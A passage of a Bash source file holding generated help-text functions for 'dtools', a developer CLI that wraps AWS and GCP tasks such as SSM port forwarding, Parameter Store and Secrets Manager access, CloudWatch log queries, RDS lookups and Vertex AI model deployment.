"%s\n" "$(bold "Examples:")" printf " dtools aws start-port-forwarding i-0892eeaed80a5b00b --remote-port 5432\n --local-port 5432 --host\n prod-postgres.ctm8i4qgknv3.us-east-1.rds.amazonaws.com --profile prod --region\n us-east-1\n" echo fi } dtools_aws_ssm_start_ngrok_bastion_instance_usage() { printf "dtools aws ssm start-ngrok-bastion-instance - Start an EC2 instance to act as a bastion host for ngrok\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools aws ssm start-ngrok-bastion-instance [OPTIONS]\n" printf " dtools aws ssm start-ngrok-bastion-instance --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--profile, -p PROFILE")" printf " The AWS profile to use\n" echo printf " %s\n" "$(magenta "--region, -r REGION")" printf " The AWS region to use\n" printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" printf " %s\n" "Default: us-east-1" echo printf " %s\n" "$(magenta "--hostname (required)")" printf " The hostname to forward connections to. \n This will be hostnames like the ones that are only accessible via AWS ECS\n Service Discovery (e.g. api.caerus.local)\n" echo printf " %s\n" "$(magenta "--subnet-id (required)")" printf " The subnet ID that the instance is to be deployed into\n" echo printf " %s\n" "$(magenta "--port PORT")" printf " The port on the destination hostname to forward connections to\n" printf " %s\n" "Default: 8080" echo printf " %s\n" "$(magenta "--ngrok-url, -u NGROK_URL (required)")" printf " The ngrok URL to connect to\n" echo printf " %s\n" "$(magenta "--ngrok-auth-token, -a NGROK_AUTH_TOKEN (required)")" printf " The ngrok authentication token\n" echo printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_aws_ssm_list_parameters_usage() { printf "dtools aws ssm list-parameters - List all AWS SSM Parameter Store parameters\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools aws ssm list-parameters [OPTIONS]\n" printf " dtools aws ssm list-parameters --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--profile, -p PROFILE")" printf " The AWS profile to use\n" echo printf " %s\n" "$(magenta "--region, -r REGION")" printf " The AWS region to use\n" printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" printf " %s\n" "Default: us-east-1" echo printf " %s\n" "$(magenta "--detailed")" printf " Output the list of all parameters in the detailed format\n" echo printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_aws_ssm_get_parameter_usage() { printf "dtools aws ssm get-parameter - Get the value of an AWS SSM Parameter Store parameter\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools aws ssm get-parameter PARAMETER_NAME [OPTIONS]\n" printf " dtools aws ssm get-parameter --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--profile, -p PROFILE")" printf " The AWS profile to use\n" echo printf " %s\n" "$(magenta "--region, -r REGION")" printf " The AWS region to use\n" printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" printf " %s\n" "Default: us-east-1" echo printf " %s\n" "$(magenta "--detailed")" printf " Output the parameter value in detailed format\n" echo printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Arguments:")" printf " %s\n" "$(blue "PARAMETER_NAME")" printf " The name of the parameter to retrieve\n" echo fi } dtools_aws_ssm_create_parameter_usage() { printf "dtools aws ssm create-parameter - Create a new parameter in AWS SSM Parameter Store\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools aws ssm create-parameter [OPTIONS]\n" printf " dtools aws ssm create-parameter --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--profile, -p PROFILE")" printf " The AWS profile to use\n" echo printf " %s\n" "$(magenta "--region, -r REGION")" printf " The AWS region to use\n" printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" printf " %s\n" "Default: us-east-1" echo printf " %s\n" "$(magenta "--name NAME (required)")" printf " Name for the new parameter\n" echo printf " %s\n" "$(magenta "--value VALUE (required)")" printf " The value of the parameter to be stored\n" echo printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_aws_ssm_update_parameter_usage() { printf "dtools aws ssm update-parameter - Update an existing parameter in AWS SSM Parameter Store (Will create a new parameter if it does not exist)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools aws ssm update-parameter [OPTIONS]\n" printf " dtools aws ssm update-parameter --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--profile, -p PROFILE")" printf " The AWS profile to use\n" echo printf " %s\n" "$(magenta "--region, -r REGION")" printf " The AWS region to use\n" printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" printf " %s\n" "Default: us-east-1" echo printf " %s\n" "$(magenta "--name NAME (required)")" printf " Name of the parameter to update\n" echo printf " %s\n" "$(magenta "--value VALUE (required)")" printf " The value of the parameter to be stored\n" echo printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_aws_ssm_delete_parameter_usage() { printf "dtools aws ssm delete-parameter - Delete a parameter from AWS SSM Parameter Store\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools aws ssm delete-parameter PARAMETER_NAME [OPTIONS]\n" printf " dtools aws ssm delete-parameter --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--profile, -p PROFILE")" printf " The AWS profile to use\n" echo printf " %s\n" "$(magenta "--region, -r REGION")" printf " The AWS region to use\n" printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" printf " %s\n" "Default: us-east-1" echo printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Arguments:")" printf " %s\n" "$(blue "PARAMETER_NAME")" printf " The name of the parameter to delete\n" echo fi } dtools_aws_secretsmanager_usage() { printf "dtools aws secretsmanager - Secrets Manager commands\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools aws secretsmanager COMMAND\n" printf " dtools aws secretsmanager [COMMAND] --help | -h\n" echo printf "%s\n" "$(bold "Commands:")" printf " %s List all AWS Secrets Manager secrets\n" "$(green "list-secrets") " printf " %s Show the secret value for the specified secret\n" "$(green "show-secret") " printf " %s Create a new secret in Secrets Manager\n" "$(green "create-secret")" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_aws_secretsmanager_list_secrets_usage() { printf "dtools aws secretsmanager list-secrets - List all AWS Secrets Manager secrets\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools aws secretsmanager list-secrets [OPTIONS]\n" printf " dtools aws secretsmanager list-secrets --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--profile, -p PROFILE")" printf " The AWS profile to use\n" echo printf " %s\n" "$(magenta "--region, -r REGION")" printf " The AWS region to use\n" printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" printf " %s\n" "Default: us-east-1" echo printf " %s\n" "$(magenta "--detailed")" printf " Output the list of all secrets in the detailed format\n" echo printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_aws_secretsmanager_show_secret_usage() { printf "dtools aws secretsmanager show-secret - Show the secret value for the specified secret\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools aws secretsmanager show-secret SECRET_ID [OPTIONS]\n" printf " dtools aws secretsmanager show-secret --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--profile, -p PROFILE")" printf " The AWS profile to use\n" echo printf " %s\n" "$(magenta "--region, -r REGION")" printf " The AWS region to use\n" printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" printf " %s\n" "Default: us-east-1" echo printf " %s\n" "$(magenta "--detailed")" printf " Output the secret value in detailed format\n" echo printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Arguments:")" printf " %s\n" "$(blue "SECRET_ID")" printf " The secret ID for which the value needs to be displayed\n" echo fi } dtools_aws_secretsmanager_create_secret_usage() { printf "dtools aws secretsmanager create-secret - Create a new secret in Secrets Manager\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools aws secretsmanager create-secret [OPTIONS]\n" printf " dtools aws secretsmanager create-secret --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--profile, -p PROFILE")" printf " The AWS profile to use\n" echo printf " %s\n" "$(magenta "--region, -r REGION")" printf " The AWS region to use\n" printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" printf " %s\n" "Default: us-east-1" echo printf " %s\n" "$(magenta "--name NAME (required)")" printf " Name for the new secret\n" echo printf " %s\n" "$(magenta "--secret-string SECRET_STRING (required)")" printf " The secret string to be stored\n" echo printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_aws_logs_usage() { printf "dtools aws logs - AWS Logs commands\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools aws logs COMMAND\n" printf " dtools aws logs [COMMAND] --help | -h\n" echo printf "%s\n" "$(bold "Commands:")" printf " %s List all of the log groups in CloudWatch\n" "$(green "list-log-groups") " printf " %s Tails the specified CloudWatch log group\n" "$(green "tail-log-group") " printf " %s Query one or more log groups with the given query string\n" "$(green "query-log-groups")" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_aws_logs_list_log_groups_usage() { printf "dtools aws logs list-log-groups - List all of the log groups in CloudWatch\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools aws logs list-log-groups [OPTIONS]\n" printf " dtools aws logs list-log-groups --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--profile, -p PROFILE")" printf " The AWS profile to use\n" echo printf " %s\n" "$(magenta "--region, -r REGION")" printf " The AWS region to use\n" printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" printf " %s\n" "Default: us-east-1" echo printf " %s\n" "$(magenta "--detailed")" printf " Output the list of all CloudWatch log groups in the full detailed format\n" echo printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_aws_logs_tail_log_group_usage() { printf "dtools aws logs tail-log-group - Tails the specified CloudWatch log group\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools aws logs tail-log-group LOG-GROUP [OPTIONS]\n" printf " dtools aws logs tail-log-group --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--profile, -p PROFILE")" printf " The AWS profile to use\n" echo printf " %s\n" "$(magenta "--region, -r REGION")" printf " The AWS region to use\n" printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" printf " %s\n" "Default: us-east-1" echo printf " %s\n" "$(magenta "--since, -s SINCE")" printf " The time to start tailing the log group from\n" printf " %s\n" "Default: 10m" echo printf " %s\n" "$(magenta "--verbose, -v")" printf " Show verbose log output\n" echo printf " %s\n" "$(magenta "--stdout")" printf " Show the log output in stdout\n" echo printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Arguments:")" printf " %s\n" "$(blue "LOG-GROUP")" printf " The name of the log group to tail\n" echo printf "%s\n" "$(bold "Examples:")" printf " dtools aws tail-log-group /aws/lambda/test-lambda-1\n" echo fi } dtools_aws_logs_query_log_groups_usage() { printf "dtools aws logs query-log-groups - Query one or more log groups with the given query string\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools aws logs query-log-groups [QUERY] [OPTIONS]\n" printf " dtools aws logs query-log-groups --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--profile, -p PROFILE")" printf " The AWS profile to use\n" echo printf " %s\n" "$(magenta "--region, -r REGION")" printf " The AWS region to use\n" printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" printf " %s\n" "Default: us-east-1" echo printf " %s\n" "$(magenta "--log-group-name, -l LOG_GROUP_NAME (required) (repeatable)")" printf " The names of a log group to query for\n" echo printf " %s\n" "$(magenta "--start-time START_TIME (required)")" printf " The start time for the query (ISO 8601)\n" echo printf " %s\n" "$(magenta "--end-time END_TIME (required)")" printf " The end time for the query (ISO 8601)\n" echo printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Arguments:")" printf " %s\n" "$(blue "QUERY")" printf " The query string to query the log groups for\n" printf " %s\n" "Default: fields @timestamp, @message | sort @timestamp desc" echo printf "%s\n" "$(bold "Examples:")" printf " dtools aws logs query-log-groups 'correlationId' --start-time\n '2025-03-18T15:00:00Z' --end-time '2025-03-18T16:00:00Z' --log-group-name\n caerus-api-log-group -l\n /aws/lambda/revisit-prod-revisit-core-historical-schedules-s3-writer-lambda\n" echo fi } dtools_aws_rds_usage() { printf "dtools aws rds - RDS commands\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools aws rds COMMAND\n" printf " dtools aws rds [COMMAND] --help | -h\n" echo printf "%s\n" "$(bold "Commands:")" printf " %s List all RDS DB instances for the given account by their name\n" "$(green "list-db-instances") " printf " %s Fetch the connection details for the given RDS DB instance\n" "$(green "fetch-db-connection-details")" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_aws_rds_list_db_instances_usage() { printf "dtools aws rds list-db-instances - List all RDS DB instances for the given account by their name\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools aws rds list-db-instances [OPTIONS]\n" printf " dtools aws rds list-db-instances --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--profile, -p PROFILE")" printf " The AWS profile to use\n" echo printf " %s\n" "$(magenta "--region, -r REGION")" printf " The AWS region to use\n" printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" printf " %s\n" "Default: us-east-1" echo printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_aws_rds_fetch_db_connection_details_usage() { printf "dtools aws rds fetch-db-connection-details - Fetch the connection details for the given RDS DB instance\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools aws rds fetch-db-connection-details DB_INSTANCE [OPTIONS]\n" printf " dtools aws rds fetch-db-connection-details --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--profile, -p PROFILE")" printf " The AWS profile to use\n" echo printf " %s\n" "$(magenta "--region, -r REGION")" printf " The AWS region to use\n" printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" printf " %s\n" "Default: us-east-1" echo printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Arguments:")" printf " %s\n" "$(blue "DB_INSTANCE")" printf " The RDS DB instance name\n" echo fi } dtools_gcp_usage() { printf "dtools gcp - GCP commands\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools gcp COMMAND\n" printf " dtools gcp [COMMAND] --help | -h\n" echo printf "%s\n" "$(bold "Commands:")" printf " %s Log in to GCP using SSO.\n" "$(green "login") " printf " %s Change GCP project\n" "$(green "project") " printf " %s Change GCP location\n" "$(green "location") " printf " %s Get the GCP project number of the specified project\n" "$(green "get-project-number") " echo printf "%s\n" "$(bold "Vertex Commands:")" printf " %s Vertex AI commands\n" "$(green "vertex") " printf " %s Deploy a model into Vertex AI (assumes only one model is deployed on the given endpoint).\n" "$(green "vertex deploy-model") " printf " %s Query a Vertex endpoint with a prediction request\n" "$(green "vertex predict") " printf " %s List all Vertex endpoints for the specified project and region\n" "$(green "vertex list-endpoints") " printf " %s Tail the logs for the given endpoint\n" "$(green "vertex tail-endpoint-logs") " echo printf "%s\n" "$(bold "Artifact Registry Commands:")" printf " %s GCP Artifact Registry commands\n" "$(green "artifacts") " printf " %s List all repositories in artifact registry for the specified project and location\n" "$(green "artifacts list-repositories")" printf " %s List all images contained with the specified artifact registry repository\n" "$(green "artifacts list-images") " echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_gcp_login_usage() { if [[ -n $long_usage ]]; then printf "dtools gcp login\n\n" printf " Log in to GCP using SSO.\n This command will also set your 'GCP_PROJECT' and 'GCP_LOCATION' environment\n variables.\n \n This command is essentially a shorthand for the following commands:\n dtools gcp project \n dtools gcp location \n gcloud auth login\n gcloud auth application-default login\n\n" else printf "dtools gcp login - Log in to GCP using SSO.\n\n" fi printf "%s\n" "$(bold "Usage:")" printf " dtools gcp login [OPTIONS]\n" printf " dtools gcp login --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--project, -p PROJECT")" printf " The GCP project to use\n" echo printf " %s\n" "$(magenta "--location, -l LOCATION")" printf " The GCP location to use\n" printf " %s\n" "Allowed: africa-south1, asia-east1, asia-east2, asia-northeast1, asia-northeast2, asia-northeast3, asia-south1, asia-south2, asia-southeast1, asia-southeast2, australia-southeast1, australia-southeast2, europe-central2, europe-north1, europe-north2, europe-southwest1, europe-west1, europe-west10, europe-west12, europe-west2, europe-west3, europe-west4, europe-west6, europe-west8, europe-west9, me-central1, me-central2, me-west1, northamerica-northeast1, northamerica-northeast2, northamerica-south1, southamerica-east1, southamerica-west1, us-central1, us-east1, us-east4, us-east5, us-south1, us-west1, us-west2, us-west3, us-west4" printf " %s\n" "Default: us-central1" echo printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Examples:")" printf " dtools gcp login -p lab -r us-central1\n" printf " dtools gcp login --project prod --location africa-south1\n" printf " # When the 'GCP_PROJECT' and 'GCP_LOCATION' environment variables are already\n # set\n dtools gcp login\n" echo fi } dtools_gcp_project_usage() { printf "dtools gcp project - Change GCP project\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools gcp project PROJECT\n" printf " dtools gcp project --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Arguments:")" printf " %s\n" "$(blue "PROJECT")" printf " The GCP project to use\n" echo printf "%s\n" "$(bold "Examples:")" printf " dtools gcp project lab\n" echo fi } dtools_gcp_location_usage() { printf "dtools gcp location - Change GCP location\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools gcp location LOCATION\n" printf " dtools gcp location --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Arguments:")" printf " %s\n" "$(blue "LOCATION")" printf " The GCP location to use\n" printf " %s\n" "Allowed: africa-south1, asia-east1, asia-east2, asia-northeast1, asia-northeast2, asia-northeast3, asia-south1, asia-south2, asia-southeast1, asia-southeast2, australia-southeast1, australia-southeast2, europe-central2, europe-north1, europe-north2, europe-southwest1, europe-west1, europe-west10, europe-west12, europe-west2, europe-west3, europe-west4, europe-west6, europe-west8, europe-west9, me-central1, me-central2, me-west1, northamerica-northeast1, northamerica-northeast2, northamerica-south1, southamerica-east1, southamerica-west1, us-central1, us-east1, us-east4, us-east5, us-south1, us-west1, us-west2, us-west3, us-west4" echo printf "%s\n" "$(bold "Examples:")" printf " dtools gcp location us-central1\n" echo fi } dtools_gcp_get_project_number_usage() { printf "dtools gcp get-project-number - Get the GCP project number of the specified project\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools gcp get-project-number PROJECT_NAME\n" printf " dtools gcp get-project-number --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Arguments:")" printf " %s\n" "$(blue "PROJECT_NAME")" printf " The name of the project whose number you wish to fetch\n" echo fi } dtools_gcp_vertex_usage() { printf "dtools gcp vertex - Vertex AI commands\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools gcp vertex COMMAND\n" printf " dtools gcp vertex [COMMAND] --help | -h\n" echo printf "%s\n" "$(bold "Commands:")" printf " %s Deploy a model into Vertex AI (assumes only one model is deployed on the given endpoint).\n" "$(green "deploy-model") " printf " %s Query a Vertex endpoint with a prediction request\n" "$(green "predict") " printf " %s List all Vertex endpoints for the specified project and region\n" "$(green "list-endpoints") " printf " %s Tail the logs for the given endpoint\n" "$(green "tail-endpoint-logs")" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_gcp_vertex_deploy_model_usage() { if [[ -n $long_usage ]]; then printf "dtools gcp vertex deploy-model\n\n" printf " Deploy a model into Vertex AI (assumes only one model is deployed on the given\n endpoint).\n \n This will do the following:\n - Upload the specified model into the Vertex Model Registry\n - Check if an endpoint exists corresponding to the provided name\n - If not, it will create an endpoint\n - Undeploy any pre-existing models on the endpoint (assumes 1 model per\n endpoint)\n - Deploy the new model to the endpoint\n \n Always be sure to build the image first and then push it to the corresponding\n Artifact Registry repo; e.g\n 'docker push us-central1-docker.pkg.dev/prod/serving-docker/alex-test:latest'\n\n" else printf "dtools gcp vertex deploy-model - Deploy a model into Vertex AI (assumes only one model is deployed on the given endpoint).\n\n" fi printf "%s\n" "$(bold "Usage:")" printf " dtools gcp vertex deploy-model [OPTIONS]\n" printf " dtools gcp vertex deploy-model --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--project, -p PROJECT")" printf " The GCP project to use\n" echo printf " %s\n" "$(magenta "--location, -l LOCATION")" printf " The GCP location to use\n" printf " %s\n" "Allowed: africa-south1, asia-east1, asia-east2, asia-northeast1, asia-northeast2, asia-northeast3, asia-south1, asia-south2, asia-southeast1, asia-southeast2, australia-southeast1, australia-southeast2, europe-central2, europe-north1, europe-north2, europe-southwest1, europe-west1, europe-west10, europe-west12, europe-west2, europe-west3, europe-west4, europe-west6, europe-west8, europe-west9, me-central1, me-central2, me-west1, northamerica-northeast1, northamerica-northeast2, northamerica-south1, southamerica-east1, southamerica-west1, us-central1, us-east1, us-east4, us-east5, us-south1, us-west1, us-west2, us-west3, us-west4" printf " %s\n" "Default: us-central1" echo printf " %s\n" "$(magenta "--display-name, -d DISPLAY_NAME (required)")" printf " Display name of the model.\n" echo printf " %s\n" "$(magenta "--container-image, -c CONTAINER_IMAGE (required)")" printf " URI of the Model serving container file in the Container Registry (e.g.\n repository/image:latest).\n \n You can list repositories with: dtools gcp artifacts list-repositories\n You can list images with: dtools gcp artifacts list-images \n" echo printf " %s\n" "$(magenta "--container-port CONTAINER_PORT")" printf " Container port to receive HTTP requests at\n" printf " %s\n" "Default: 8080" echo printf " %s\n" "$(magenta "--health-route HEALTH_ROUTE")" printf " HTTP path to send health checks to inside the container\n" printf " %s\n" "Default: /isalive" echo printf " %s\n" "$(magenta "--predict-route PREDICT_ROUTE")" printf " HTTP path to send prediction requests to inside the container\n" printf " %s\n" "Default: /predict" echo printf " %s\n" "$(magenta "--model-gcs-uri MODEL_GCS_URI")" printf " Path to the directory containing the Model artifact and any of its\n supporting files.\n \n If undefined, ensure the model image that is being deployed contains the\n model JSON within the image.\n \n Use 'gcloud storage ls gs://' to find the URI of the model artifact\n you wish to use\n" echo printf " %s\n" "$(magenta "--endpoint-name, -e ENDPOINT_NAME (required)")" printf " The name of the endpoint to deploy the model to (will create one if it does\n not already exist)\n" echo printf " %s\n" "$(magenta "--machine-type, -m MACHINE_TYPE")" printf " The machine type to use for the deployed model (e.g. n1-standard-4)\n" printf " %s\n" "Default: n1-standard-2" echo printf " %s\n" "$(magenta "--accelerator ACCELERATOR")" printf " The type of accelerator to attach to the machine\n" echo printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Examples:")" printf " dtools gcp vertex deploy-model --display-name alex-vertex-test\n --container-image serving-docker/alex-vertex-test:latest -e\n alex-vertex-test-endpoint\n" printf " dtools gcp vertex deploy-model --display-name alex-test --container-image\n serving-docker/alex-test:latest -e alex-test-endpoint --accelerator\n nvidia-tesla-t4\n" printf " dtools gcp vertex deploy-model --display-name alex-vertex-test\n --container-image serving-docker/alex-vertex-test:latest --model-gcs-uri\n 